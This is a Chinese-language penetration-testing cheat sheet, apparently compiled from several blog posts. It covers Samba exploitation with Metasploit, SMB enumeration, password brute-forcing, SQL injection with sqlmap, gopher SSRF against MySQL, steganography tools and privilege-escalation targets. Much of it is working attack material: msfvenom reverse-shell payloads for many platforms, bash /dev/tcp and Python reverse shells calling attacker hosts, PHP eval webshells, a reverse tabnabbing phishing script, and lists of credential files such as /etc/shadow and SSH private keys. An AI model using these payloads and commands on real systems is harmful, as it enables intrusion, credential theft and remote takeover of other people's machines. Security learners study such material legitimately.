NETLOGON和SYSVOL⼀般是域控制器(DC)的标准配置。
metasploit(msf)
1首先要扫描目标主机上开放的端口和服务,用 nmap命令如下:
nmap -sS -Pn -A 192.168.0.142
2发现主机上开放的139,145端口之后,说明该主机有可能存在samba 服务远程溢出漏洞,尝试通过该端口建立一个 meterpreter会话,需要用到 metasploit
3打开 metasploit 之后需要先判断samba的版本,命令如下:
msf> search scanner/samba
这条命令用来查找 samba 相关 exploit参数
4然后使用如下命令来定义要扫描 samba 的版本所用到的 exploits 参数
msf> use auxiliary/scanner/smb/smb_version
msfauxiliary(smb_version) > set RHOSTS 192.168.0.102
这条命令定义你将要扫描 samba 版本的远程主机的IP 地址
5发现 samba 版本之后,我们需要进一步利用来入侵进入到远程 Linux主机
msf exploit(usermap_script) > set RHOST 192.168.0.102
msf exploit(usermap_script) > exploit
执行完成以上命令如图所示,成功创建了 shell 会话
————————————————
版权声明:本文为CSDN博主「辉小鱼~」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/weixin_61427044/article/details/126896351
smbmap枚举
⽤smbmap看⼀下⾥⾯的内容和权限。
┌──(nerubian㉿kali)-[~]
└─$ smbmap -H 192.168.56.106
________ ___ ___ _______ ___ ___ __ _______
/" )|" \ /" || _ "\ |" \ /" | /""\ | __ "\
(: \___/ \ \ // |(. |_) :) \ \ // | / \ (. |__) :)
\___ \ /\ \/. ||: \/ /\ \/. | /' /\ \ |: ____/
__/ \ |: \. |(| _ \ |: \. | // __' \ (| /
/" \ :) |. \ /: ||: |_) :)|. \ /: | / / \ \ /|__/ \
(_______/ |___|\__/|___|(_______/ |___|\__/|___|(___/ \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator | Shawn Evans - ShawnDEvans@gmail.com
https://github.com/ShawnDEvans/smbmap
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB session(s)
[+] IP: 192.168.56.106:445 Name: bogon Status: Authenticated
Disk Permissions Comment
---- ----------- -------
print$ NO ACCESS Printer Drivers
IPC$ NO ACCESS IPC Service (jenkins server (Samba, Ubuntu))
smbclient枚举
smbclient -L //192.168.56.106
smbclient -L //192.168.56.106/print$
smbclient -L //192.168.56.106/IPC$
enum4linux
enum4linux -a 192.168.56.106
首先是用于枚举的选项,如下:
选项 功能
-U 获取用户列表
-M 获取机器列表
-S 获取共享列表
-P 获取密码策略信息
-G 获取组和成员列表
-d 详述,适用于-U和-S
-u user 用户指定要使用的用户名(默认为空)
-p 指定要使用的密码(默认为空)
接着是一些官方附加的选项命令,如下
选项 功能
-a 做所有简单枚举(-U -S -G -P -r -o -n -i),如果您没有提供任何其他选项,则启用此选项
-h 显示此帮助消息并退出
-r 通过RID循环枚举用户
-R RID范围要枚举(默认值:500-550,1000-1050,隐含-r)
-K 指定不对应次数n。继续搜索RID,直到n个连续的RID与用户名不对应,Impies RID范围结束于999999.对DC有用
-l 通过LDAP 389 / TCP获取一些(有限的)信息(仅适用于DN)
-s 文件暴力猜测共享名称
-k user 远程系统上存在的用户(默认值:administrator,guest,krbtgt,domain admins,root,bin,none)
用于获取sid与“lookupsid known_username”
使用逗号尝试几个用户:“-k admin,user1,user2”
-o 获取操作系统信息
-i 获取打印机信息
-w 手动指定工作组(通常自动找到)
-n 做一个nmblookup(类似于nbtstat)
-v 详细输出,显示正在运行的完整命令(net,rpcclient等)
2.实战命令
实战中最常用的其实也就是使用-a指令,进行一次大范围信息探测,指令如下
enum4linux -a -o ip
————————————————
版权声明:本文为CSDN博主「白昼安全」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/qq_63844103/article/details/127219997
Hydra暴力破解smb协议
medusa
爆破smb用户密码
medusa -h 192.168.56.106 -u jenkins -P rockyou.txt -M smbnt
samba报错集合
1.tree connect failed:NT_STATUS_BAD_NETWORK_NAME
是因为共享名输入的不对
也有可能是共享路径不存在
2.samba 文件有读写权限,共享里也有读写,但是还是不能创建
NT_STATUS_ACCESS_DENIED making remote directory \4
错误的原因:SELINUX没有关
解决方法:SELINUX=disabled
3.可以连接上去,但是出现NT_STATUS_OBJECT_NAME_COLLISION making remote directory \1
原因:因为文件夹1已经创建
4.protocol negotiation failed:NT_STATUS_INVALID_NETWORK_RESPONSE
原因:hosts 网段不允许
5.在连接的过程中,tree connect failed:NT_STATUS_ACCESS_DENIED
原因:不允许该用户访问
解决方法:valid users = 该用户
参考资料
https://zhuanlan.zhihu.com/p/356104384
https://blog.csdn.net/qq_63844103/article/details/127219997
钓鱼攻击漏洞(反向标签劫持攻击)
创建恶意链接页面
<!DOCTYPE html>
<html>
<body>
<script>
if(window.opener) window.opener.parent.location.replace('http://192.168.56.102:1234/index.html');
if(window.opener != window) window.opener.parent.location.replace('http://192.168.56.102:1234/index.html');
</script>
</body>
</html>
创建钓鱼登陆页面(复制登陆页面的源码)
复制登陆页面的源码创建一个html页面
https服务
默认端口:443
mysql服务
默认端口:3306
万能密码:
admin’ or 1=1#\123456
SQL注入
确定是否存在注入
在地址的最后加一个单引号,如果有报错,即为存在SQL注入
http://ctf4.sas.upenn.edu/index.html?page=blog&title=Blog&id=2'
手工注入
https://blog.csdn.net/qq_45747465/article/details/132283743
https://blog.csdn.net/peanut5036/article/details/128553795
https://www.php.cn/faq/544967.html
https://www.pianshen.com/article/3596668244/
sqlmap
http://pentestmonkey.net/category/cheat-sheet
常用参数:
-v3 #输出详细度 最大值5 会显示请求包和回复包
--threads 5 #指定线程数
--fresh-queries #清除缓存
--flush-session #清空会话,重构注入
--batch #对所有的交互式的都是默认的
--random-agent #任意的http头
--tamper base64encode #对提交的数据进行base64编码
--referer http://www.baidu.com #伪造referer字段
--keep-alive 保持连接,当出现 [CRITICAL] connection dropped or unknown HTTP status code received. sqlmap is going to retry the request(s) 保错的时候,使用这个参数
探测
sqlmap -u "http://www.xx.com/username/admin*" #如果我们已经知道admin这里是注入点的话,可以在其后面加个*来让sqlmap对其注入
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" #探测该url是否存在漏洞
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --cookie="抓取的cookie" #当该网站需要登录时,探测该url是否存在漏洞
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --data="uname=admin&passwd=admin&submit=Submit" #抓取其post提交的数据填入
获取用户名和密码
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --users #查看数据库的所有用户
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --passwords #查看数据库用户名的密码
有时候使用 --passwords 不能获取到密码,则可以试下
-D mysql -T user -C host,user,password --dump 当MySQL< 5.7时
-D mysql -T user -C host,user,authentication_string --dump 当MySQL>= 5.7时
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --current-user #查看数据库当前的用户
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --is-dba #判断当前用户是否有管理员权限
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --roles #列出数据库所有管理员角色,仅适用于oracle数据库的时候
常用指令:
sqlmap -r http.txt #http.txt是我们抓取的http的请求包
sqlmap -r http.txt -p username #指定参数,当有多个参数而你又知道username参数存在SQL漏洞,你就可以使用-p指定参数进行探测
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --dbs #爆出所有的数据库
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --tables #爆出所有的数据表
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --columns #爆出数据库中所有的列
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --current-db #查看当前的数据库
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security --tables #爆出数据库security中的所有的表
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security -T users --columns #爆出security数据库中users表中的所有的列
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security -T users -C username --dump #爆出数据库security中的users表中的username列中的所有数据
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security -T users -C username --dump --start 1 --stop 100 #爆出数据库security中的users表中的username列中的前100条数据
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security -T users --dump-all #爆出数据库security中的users表中的所有数据
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security --dump-all #爆出数据库security中的所有数据
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --dump-all #爆出该数据库中的所有数据
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --tamper=space2comment.py #指定脚本进行过滤,用/**/代替空格
sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --level=5 --risk=3 #探测等级5,平台危险等级3,都是最高级别。当level=2时,会测试cookie注入。当level=3时,会测试user-agent/referer注入。
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --sql-shell #执行指定的sql语句
sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --os-shell/--os-cmd #执行--os-shell命令,获取目标服务器权限
sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --os-pwn #执行--os-pwn命令,将目标权限弹到MSF上
sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --file-read "c:/test.txt" #读取目标服务器C盘下的test.txt文件
sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --file-write test.txt --file-dest "e:/hack.txt" #将本地的test.txt文件上传到目标服务器的E盘下,并且名字为hack.txt
sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --dbms="MySQL" #指定其数据库为mysql
其他数据库:Altibase,Apache Derby, CrateDB, Cubrid, Firebird, FrontBase, H2, HSQLDB, IBM DB2, Informix, InterSystems Cache, Mckoi, Microsoft Access, Microsoft SQL Server, MimerSQL, MonetDB, MySQL, Oracle, PostgreSQL, Presto, SAP MaxDB, sqli-labste, Sybase, Vertica, eXtremeDB
sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --random-agent #使用任意的User-Agent爆破
sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --proxy="http://127.0.0.1:8080" #指定代理
当爆破HTTPS网站会出现超时的话,可以使用参数 --delay=3 --force-ssl
sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --technique T #指定时间延迟注入,这个参数可以指定sqlmap使用的探测技术,默认情况下会测试所有的方式,当然,我们也可以直接手工指定。
支持的探测方式如下:
B: Boolean-based blind SQL injection(布尔型注入)
E: Error-based SQL injection(报错型注入)
U: UNION query SQL injection(可联合查询注入)
S: Stacked queries SQL injection(可多语句查询注入)
T: Time-based blind SQL injection(基于时间延迟注入)
sqlmap -d "mysql://root:root@127.0.0.130:3306/mysql" --os-shell #知道网站的账号密码直接连接
参考资料
gopher攻击mysql
(1)下载工具
git clone https://www.github.com/tarunkant/Gopherus.git
./gopherus.py -h
(2)使用
使用gopher协议查询数据库名称,要在SSRF提交处多执行几次才能够成功,数据库名称为joomla
./gopherus.py --exploit mysql
Give MySQL username: goblin
Give query to execute: show databases;
gopher://127.0.0.1:3306/_%a5%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%67%6f%62%6c%69%6e%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%10%00%00%00%03%73%68%6f%77%20%64%61%74%61%62%61%73%65%73%3b%01%00%00%00%01
http3环境访问
首先安装HTTP3所需要的环境,详情见代码块。
1.下载quiche
git clone --recursive https://www.github.com/cloudflare/quiche
2.安装cargo组件
sudo apt install cargo
3.cmake组件
sudo apt install cmake
4.安装例子
有报错,执行下一步
cd ./quiche
cargo build --examples
5.卸载rustc
apt purge rustc
6.重新安装
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
7.设置环境变量
source $HOME/.cargo/env
8.重新下载
cargo build --examples
9.对安装内容检查
cargo test
爆出一堆ok检查无误
10.利用http3去访问url
cd /quiche/target/debug/examples
./http3-client https://192.168.56.108
————————————————
版权声明:本文为CSDN博主「梅_花_七」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/weixin_54431413/article/details/125393128
┌──(root㉿kali)-[/quiche/target/debug/examples]
└─# ./http3-client https://192.168.56.108
<html>
<head>
<title>Information Page</title>
</head>
<body>
Greetings Developers!!
I am having two announcements that I need to share with you:
1. We no longer require functionality at /internalResourceFeTcher.php in our main production servers.So I will be removing the same by this week.
2. All developers are requested not to put any configuration's backup file (.bak) in main production servers as they are readable by every one.
Regards,
site_admin
</body>
</html>
设备mac查询
密码破解
加密类型分析
哈希加密分析工具
哈希加密类型识别工具 hashid 与 hash-identifier
根据特征分析
密文破解
在 linux 下可以使用 unshadow 命令合并 passwd 和 shadow 文件:
unshadow [passwd-file][shadow-file] > unshadowed.txt
对于其他服务,可以使用 Medusa 或 hydra
Hydra -L -P -v ssh
Medusa -h -U -P -M http -m DIR:/admin -T 30
哈希加密解密
echo -n "123" | md5sun
echo 123 | base64 -i
echo 123 | base64 -d
XOR计算
hashcat
MD5
-
国内Md5解密:
http://t007.cn/
https://cmd5.la/
https://cmd5.com/ 【推荐】
https://pmd5.com/
http://ttmd5.com/
https://md5.navisec.it/
http://md5.tellyou.top/
https://www.somd5.com/ 【推荐】
http://www.chamd5.org/ -
国外Md5解密:
https://www.md5tr.com/
http://md5.my-addr.com/
https://md5.gromweb.com/
https://www.md5decrypt.org/
https://md5decrypt.net/en/
https://md5hashing.net/hash/md5/
https://hashes.com/en/decrypt/hash
https://www.whatsmyip.org/hash-lookup/
https://www.md5online.org/md5-decrypt.html
https://md5-passwort.de/md5-passwort-suchen -
MySQL破解:
https://www.mysql-password.com/hash
brainfuck密文解密网站
https://tool.bugku.com/brainfuck/?wafcloud=1
Foxfire本地保存密码破解
使用 firefox_decrypt 工具进行解密:
git clone https://github.com/unode/firefox_decrypt.git
python3 firefox_decrypt.py /root/Downloads/.mozilla/firefox
数据抓包
wireshark
安装:
https://blog.csdn.net/qq_43441284/article/details/114685837
使用
官网
tcpdump
tcpdump -i tap0 host tcp port 80 and not arp and not icmp -vv
参考文档:抓包工具使用与数据包分析
隐写术
技术体系
- 语义隐写术
- 符号码
- 隐语
- 虚字隐写
- 技术隐写术
- 系统结构
- 纯隐写
- 秘钥隐写
- 公钥隐写
- 空间结构
- 信道隐写
- 时空域隐写
- 变换域隐写
- 载体对象
- 图像隐写
- 文本隐写
- 音视频隐写
- 其他文件隐写
- 系统结构
常用工具
分析文件结构与内部结构
- Binwalk
- 用来检测图片中是否有隐藏的文件。
- WinHex
- 一款专业的磁盘编辑工具
- 官方网站http://www.x-ways.net
- Foremost
- 将图片中的隐藏文件拆分出来。
- 010Editor
- ①修改图片的参数来查看隐藏信息。
- ②查看压缩包是否是伪加密。
分析LSB隐写
- Stegsolve.jar
- 图片隐写查看神器。
- OurSecret
- 1个图片解密的工具
- ARCHPR和Ziperello
- 暴力破解压缩包的工具。
- Zipcenop
- 专门用来破解伪加密的一个工具。
检测特殊工具隐写
Stegdetect
检查顺序
0文件类型识别
1.file命令
使用场景:不知道后缀名,无法打开文件,或文件后缀名是虚假的
file 文件名
2.winhex
使用场景:Windows下通过文件头信息判断文件类型
3.文件头残缺/错误
使用场景:文件头残缺或文件头部字段错误无法打开文件
修复:使用winhex修改文件头
1EXIF信息
第一种就是我们常见的EXIF信息,它是一种在数字图像中存储元数据的格式,
严格意义上,EXIF信息不算隐写术,但你可以用把一些隐藏的信息写入EXIF信息
-
Windows:下载原图,之后右键属性,便可以找到隐藏的flag
-
linux:使用以下命令
exiftool xxxx.jpg
2嵌入式分离
1.binwalk
这种情况通常是将图片和文件进行了合并,可以使用下面的命令进行查看
binwalk -Me xxxx.jpg
分析文件:binwalk 文件名
分离文件:binwalk -e 文件名
2.foremost工具
用法
foremost 文件名 -o 输出目录名
3加密的嵌入式分离
可以使用steghide
命令配合密码(当然密码可以是空)的方式去解密图片中的隐藏信息
steghide extract -sf stego.jpg
这里的Enter passphrase
就是我们前面说的进行提取的密码(可以有,可以无)
4LSB隐写处理【需要补充详细内容】
Zsteg
用于检测PNG和BMP中的隐藏数据
安装方法:
sudo apt-get install ruby-full rubygems
sudo gem install zsteg
安装方法2:
git clone https://gitcode.net/mirrors/zed-0xff/zsteg.git
cd zsteg
gem install zsteg
使用方式:
zsteg xxx.png --all
Stegsolve.jar
使用Stegsolve.jar需要java环境
安装方法:
https://blog.csdn.net/wzk4869/article/details/132635923
使用方法:
打开我们的Stegsolve.jar
工具包
java -jar Stegsolve.jar
Wbstego4
解密通过lsb加密的图片
TeakPNG
TweakPNG是一款简单易用的PNG图像浏览工具,它允许查看和修改一些PNG图像文件的元信息存储
Bftools
Bftools用于解密图片信息
5双图对比
这个我记得之前B站的1024 CTF攻防大赛就有这样一道题,其实这就是两张图片
https://security.bilibili.com/static/img/back2.png
https://security.bilibili.com/static/img/back.png
但是对比图片的差异,我们就可以发现其中隐藏的细节
cmp -bl back2.png back.png
参考资料
https://www.zhihu.com/tardis/bd/art/622097423?source_id=1001
https://blog.csdn.net/qq_38612882/article/details/127908249
git-dumper
利用扫描出的.git,获取git文件
git-dumper 是一个用于克隆(dump)和提取 Git 存储库的工具。它允许你从远程 Git 存储库中获取完整的存储库历史记录和内容。
git-dumper 主要用于通过网络中的公开或私有 Git 存储库进行枚举和信息收集。它可以帮助安全研究人员渗透测试人员或其他需要获取 Git 存储库内容的人员,用于分析代码查找敏感信息等。
使用 git-dumper 时,你需要提供目标 Git 存储库的 URL,然后它将执行以下操作:
- 克隆(clone)Git 存储库的完整历史记录和所有分支。
- 提取(extract)存储库中的文件目录和提交历史记录。
这使得 git-dumper 成为快速浏览远程 Git 存储库内容的实用工具,而无需进行完整的克隆。
git-dumper http://pilgrimage.htb/.git gitdownload
http://www.python88.com/topic/134376
Port Knocking
端口敲门:knock ip port1 port2 port3.
安装一下
sudo apt install knockd
开始碰撞
┌──(nerubian㉿kali)-[~/下载]
└─$ sudo knock 192.168.56.104 10000 4444 65535
8.1使用Python开启http服务
发送端(在待传输文件所在目录执行)
python2 -m SimpleHTTPServer 800
python3 -m http.server 80
python2.7 -m SimpleHTTPServer 8080
接收端:
wget http://192.168.56.102:80/linpeas.sh
wget http://192.168.56.102:80/pkexec-cve-2021-4034
8.2文字翻转工具
http://fuhao.tuwenla.com/6.html
8.3密码字典
KaliLinux自带字典
-
/usr/share/wordlists/rockyou.txt
- sudo gzip -d /usr/share/wordlists/rockyou.txt.gz
-
/usr/share/wordlists
路径:/usr/share/wordlists/
dirb
big.txt #大的字典
small.txt #小的字典
catala.txt #项目配置字典
common.txt #公共字典
euskera.txt #数据目录字典
extensions_common.txt #常用文件扩展名字典
indexes.txt #首页字典
mutations_common.txt #备份扩展名
spanish.txt #方法名或库目录
others #扩展目录,默认用户名等
stress #压力测试
vulns #漏洞测试
dirbuster
apache-user-enum-** #apache用户枚举
directories.jbrofuzz #目录枚举
directory-list-1.0.txt #目录列表大,中,小 big,medium,small
fern-wifi
common.txt #公共wifi账户密码
metasploit
... #各种类型的字典
webslayer
general #普通字典目录
admin-panels.txt #后台路径 字典
....
Injections #注入字典目录
All_attack.txt #全部***
bad_chars.txt #字符注入
SQL.txt #sql注入
Traversal.txt #路径回溯
XML.txt #xml注入
XSS.txt #xxs注入
others #扩展目录
common_pass.txt #通用密码字典
names.txt #用户名字典
stress #压力测试目录
vulns #漏洞测试目录
apacheiiscgis...
webservicces #web服务目录
ws-dirs.txt #路径测试
ws-files.txt #文件测试
wfuzz #模糊测试,各种字典...
字典生成
爬虫式生成
- cewl -d 1 -m 3 -w password.txt www.baidu.com
- -d:指定目标系统web网站上要检索的链接深度
- -m指定密码最低长度
- -w结果输出到文件
自定义生成
- crunch 3 4 1234 >> password.txt
- 3:密码最短为3位
- 4:密码最长为4位
- 1234:1,2,3,4进行拼接
- crunch 66 -tli%%% >> password.txt
- 6位长度
- -t:后面的百分号使用数字填充
- li:密码前两位是li
- crunch 4 4-t %@ > password.txt
- 表示生成长度四位的字典,第一位是数字,第二位是特殊字符,第三位是小写字符,第四位是大写字符
网络字典
- [2021.04.01] - EdgeTeam - 在线整理的一些常见默认设备/应用密码
- [2021.04.01] - EdgeTeam - 在线整理的一些华为系列设备默认密码表
- [2021.04.01] - Dictionary-Of-Pentesting - 渗透测试、SRC漏洞挖掘、爆破、Fuzzing等字典收集项目
- [2021.04.01] - Web Pentesting Fuzz 字典,一个就够了
- [2021.04.01] - Web Fuzzing Box - Web 模糊测试字典与一些Payloads
- [2021.04.01] - upload-fuzz-dic-builder 上传漏洞fuzz字典生成脚本
- [2021.04.01] - SecLists 安全评估期间使用的多种类型列表的集合
- [2021.05.14] - Payloads 渗透测试仪和Bug赏金猎人的 Payload 库
- [2021.06.09] - SuperWordlist 基于实战沉淀下的各种弱口令字典
- [2021.06.20] - 各类漏洞的 TOP25 参数字典
- [2021.07.28] - 提取收集以往泄露的密码中符合条件的强弱密码
五、 漏洞利用
自动化
渗透测试框架msf
启动命令:
msfconsole
参考文档:渗透测试工具MSF
反弹shell
MSF生成反弹shell 的playlad
1、Payload生成方式
(1)windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.20.128 LPORT=4444 -a x86 --platform Windows -f exe > shell.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.20.128 LPORT=4444 -f exe > shell.exe
(2)liunx
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.20.128 LPORT=4444 -a x86 --platform Linux -f elf > shell.elf
(3)mac
msfvenom -p osx/x86/shell_reverse_tcp LHOST=192.168.20.128 LPORT=4444 -a x86 --platform osx -f macho > shell.macho
(4)android
msfvenom -a dalvik -p android/meterpreter/reverse_tcp LHOST=192.168.20.128 LPORT=4444 -f raw > shell.apk
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.20.128 LPORT=4444 R > test.apk
(5)Powershell
msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=192.168.20.128 LPORT=4444 -e cmd/powershell_base64 -i 3 -f raw -o shell.ps1
(6)shellcode(windows)
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.20.128 LPORT=4444 -a x86 --platform Windows -f c
(7)shellcode(linux)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.20.128 LPORT=4444 -a x86 --platform Linux -f c
(8)shellcode(mac)
msfvenom -p osx/x86/shell_reverse_tcp LHOST=192.168.20.128 LPORT=4444 -a x86 --platform osx -f c
2、反弹shell生成方式
(1)python
msfvenom -p cmd/unix/reverse_python LHOST=192.168.20.128 LPORT=4444 -f raw > shell.py
msfvenom -a python -p python/meterpreter/reverse_tcp LHOST=192.168.20.128 LPORT=4444 -f raw > shell.py
(2)bash
msfvenom -p cmd/unix/reverse_bash LHOST=192.168.20.128 LPORT=4444 -f raw > shell.sh
(3)Perl
msfvenom -p cmd/unix/reverse_perl LHOST=192.168.20.128 LPORT=4444 -f raw > shell.pl
(4)Lua
msfvenom -p cmd/unix/reverse_lua LHOST=192.168.20.128 LPORT=4444 -f raw -o shell.lua
(5)Ruby
msfvenom -p ruby/shell_reverse_tcp LHOST=192.168.20.128 LPORT=4444 -f raw -o shell.rb
(6)php
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.20.128 LPORT=4444 -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
(7)aspx
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.20.128 LPORT=4444 -f aspx -o shell.aspx
(8)asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.20.128 LPORT=4444 -f asp > shell.asp
(9)jsp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.20.128 LPORT=4444 -f raw > shell.jsp
(10)war
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.20.128 LPORT=4444 -f war > shell.war
(11)nodejs
msfvenom -p nodejs/shell_reverse_tcp LHOST=192.168.20.128 LPORT=4444 -f raw -o shell.js
3、MSF监听设置
use exploit/multi/handler
set PAYLOAD <Payload name>
set LHOST 192.168.20.128
set LPORT 4444
show options #查漏补缺
exploit
测试可以用于反弹shell的命令
whereis nc sh bash python python3 php exec lua perl ruby
反弹Shell命令大全
https://forum.ywhack.com/shell.php
常见的可以反弹shell的端口:
TCP端口:
- 80 (HTTP):尝试使用常见的Web应用程序漏洞,如远程代码执行漏洞。
- 443 (HTTPS):尝试使用SSL/TLS漏洞或Web应用程序漏洞。
- 22 (SSH):尝试使用SSH漏洞或弱密码进行攻击。
- 23 (Telnet):尝试使用Telnet漏洞或弱密码进行攻击。
- 3389 (RDP, 远程桌面协议):尝试使用RDP漏洞或弱密码进行攻击。
UDP端口:
- 53 (DNS):尝试使用DNS漏洞或缓存投毒攻击。
- 161 (SNMP):尝试使用SNMP漏洞进行攻击。
NC接收shell
netcat
nc -lp 4444
python反弹shell
https://tool.4xseo.com/a/22182.html
直接反弹法
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("接收端ip",接收端端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
使用msf生成
在线工具生成:
https://forum.ywhack.com/shell.php
执行shell脚本反弹法
python2 和Python3 执行bash脚本的写法
使用os.system函数:
import os
os.system("bash /tmp/shell.sh")
使用subprocess模块:
import subprocess
subprocess.call(["bash", "/tmp/shell.sh"])
echo '/bin/bash -i >& /dev/tcp/192.168.56.102/8888 0>&1' > /tmp/shell.sh
cat /tmp/shell.sh
echo 'import os' >> /var/www/connect.py
echo 'os.system("bash /tmp/shell.sh")' >> /var/www/connect.py
cat /var/www/connect.py
bash反弹shell
/bin/bash -i >& /dev/tcp/192.168.56.102/4444 0>&1
webshell
PHP websehll
kali自带webshell路径:
/usr/share/webshells/php/php-reverse-shell.php
php一句话木马反弹shell
<?php @eval($_POST['passwd']); echo OK;?>
<>,。
<?php echo system($_REQUEST['cmd']);>
将以上代码写入webshell.php文件中然后放在站点目录下通过浏览器访问,以POST方式传入shell=phpinfo();
使用蚁剑链接webshell
参考文档:
- [2021.06.23] - 新型Webshell客户端 Godzilla 哥斯拉
- [2021.06.23] - Behinder “冰蝎”动态二进制加密网站管理客户端
- [2021.06.23] - AntSword 中国蚁剑是一款开源的跨平台网站管理工具
- [2021.06.23] - WebshellManager 一句话WEB端管理工具
- [2021.06.23] - Cknife 跨平台版中国菜刀
- [2021.06.23] - [文章]23个常见Webshell网站管理工具
- 新手入门:如何正确使用蚁剑
- http://repository.root-me.org/Exploitation - Web/EN - Webshells In PHP, ASP, JSP, Perl, And ColdFusion.pdf
参考资料
- https://www.asafety.fr/reverse-shell-one-liner-cheat-sheet/
- http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
- http://bernardodamele.blogspot.com/2011/09/reverse-shells-one-liners.html
- http://www.lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/
- https://speakerdeck.com/knaps/escape-from-shellcatraz-breaking-out-of-restricted-unix-shell
- https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells
- https://null-byte.wonderhowto.com/how-to/use-misconfigured-suid-bit-escalate-privileges-get-root-0173929/
升级shell方法
echo os.system('/bin/bash')
#bash shell
/bin/sh -i
/bin/bash -i
#python
检查python 的可用性
which python python2 python3
python -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
#perl
perl -e 'exec "/bin/bash";'
#ruby
exec "/bin/bash"
ruby -e 'exec "/bin/bash"'
#lua
lua -e "os.execute('/bin/bash')"
参考文档: Linux 反向 shell 升级为完全可用的 TTY shell
六、 提权
6.1系统敏感信息文件
Windows系统敏感信息:
C:\boot.ini //查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
C:\windows\repair\sam //windows初次安装的密码
C:\windows\php.ini //php配置信息
C:\program Files\mysql\my.ini //Mysql配置信息
C:\program Files\mysql\data\mysql\user.MYD //Mysql root
C:\windows\my.ini //mysql配置文件
Linux系统敏感信息:
/etc/passwd //linux用户信息
/etc/shadow //linux用户信息
/etc/group //linux用户组信息
/usr/local/app/apache2/conf/httpd.conf //apache2配置文件
/usr/local/app/php5/lib/php.ini //php配置文件
/etc/httpd/conf/httpd.conf //apache配置文件
/etc/my.cnf //Mysql配置文件
/etc/passwd/usr/local/app/apache2/conf/httpd.conf //apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关配置
/etc/httpd/conf/httpd.conf //apache
/etc/php5/apache2/php.ini //ubuntu系统的默认路径
/home/mowree/.ssh/id_rsa.pub //ssh公匙
/home/mowree/.ssh/id_rsa //ssh私匙
/home/mowree/.ssh/authorized_keys //ssh authorized_keys文件
